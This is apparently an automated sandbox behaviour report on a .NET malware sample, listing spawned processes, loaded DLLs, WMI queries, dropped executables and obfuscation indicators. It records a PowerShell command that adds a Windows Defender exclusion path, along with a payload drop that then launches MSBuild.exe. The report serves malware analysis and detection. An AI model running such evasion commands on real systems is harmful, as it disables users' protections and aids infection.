Source: 9LrEuTWP8s.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 9LrEuTWP8s.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 9LrEuTWP8s.exe ReversingLabs: Detection: 47%
Source: unknown Process created: C:\Users\user\Desktop\9LrEuTWP8s.exe "C:\Users\user\Desktop\9LrEuTWP8s.exe"
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Path1\To2\Save444'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process created: C:\Path1\To2\Save444\uh3ex1.exe "C:\Path1\To2\Save444\uh3ex1.exe"
Source: C:\Path1\To2\Save444\uh3ex1.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Path1\To2\Save444\uh3ex1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Path1\To2\Save444' Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process created: C:\Path1\To2\Save444\uh3ex1.exe "C:\Path1\To2\Save444\uh3ex1.exe" Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: version.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Path1\To2\Save444\uh3ex1.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: 9LrEuTWP8s.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: 9LrEuTWP8s.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: 9LrEuTWP8s.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\Users\Bootcherito\source\repos\ConsoleApp2\ConsoleApp2\obj\Release\ConsoleApp2.pdb source: 9LrEuTWP8s.exe

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 6.2.uh3ex1.exe.6d5ab000.4.raw.unpack, Class4.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
.NET source code contains potential unpacker
Source: uh3ex1.exe.1.dr, -Module-.cs .Net Code: _206D_200F_202A_200F_206D_206F_206D_200D_206C_200B_202E_206A_206B_202A_206C_202B_200D_206A_200B_202E_202B_206D_200C_202A_206D_202B_202A_206C_206E_206E_206B_206C_200B_200E_206D_200D_206D_202C_200E_200C_202E System.Reflection.Assembly.Load(byte[])
Binary contains a suspicious time stamp
Source: 9LrEuTWP8s.exe Static PE information: 0xCBA514CB [Thu Apr 7 21:46:51 2078 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_6D5A2DE4 push ecx; ret 6_2_6D5A2DF7
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC20CF push esp; iretd 6_2_00FC20D7
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC34B0 push edx; iretd 6_2_00FC34FE
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC1C31 push ecx; iretd 6_2_00FC1C33
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC1C07 push edx; iretd 6_2_00FC1C0F
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC11EF push ds; iretd 6_2_00FC11F0
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC1980 push esp; iretd 6_2_00FC1981
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC1D41 push edx; iretd 6_2_00FC1D53
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC12DC push ecx; iretd 6_2_00FC12E8
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC12C5 push 00000021h; iretd 6_2_00FC12D1
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC06B7 pushad ; iretd 6_2_00FC06D2
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC12B0 push ds; iretd 6_2_00FC12BA
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC1EAE push esp; iretd 6_2_00FC1EB6
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC1262 push ds; iretd 6_2_00FC1263
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC2A53 push edx; iretd 6_2_00FC2A5E
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC124B push ds; iretd 6_2_00FC124C
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC1234 push ds; iretd 6_2_00FC1235
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC1A27 push ds; iretd 6_2_00FC1A28
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC121D push ds; iretd 6_2_00FC121E
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC5E18 push D0029B30h; iretw 6_2_00FC5E1D
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC2A14 push edx; iretd 6_2_00FC2A15
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC1206 push ds; iretd 6_2_00FC1207
Source: C:\Path1\To2\Save444\uh3ex1.exe Code function: 6_2_00FC131A push ds; iretd 6_2_00FC131B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_054E9A1A push eax; retf 8_2_054E9A1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07096C30 push 00000006h; ret 8_2_07096C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07114D52 push E8070BABh; iretd 8_2_07114D5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_07117BA8 pushad ; retf 8_2_07117BB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 8_2_072AE1F3 push esp; retf 8_2_072AE231
Source: uh3ex1.exe.1.dr Static PE information: section name: .text entropy: 7.8298536407435835
Drops PE files
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe File created: C:\Path1\To2\Save444\uh3ex1.exe Jump to dropped file
Source: C:\Path1\To2\Save444\uh3ex1.exe File created: C:\Users\user\AppData\Roaming\gdi32.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\9LrEuTWP8s.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
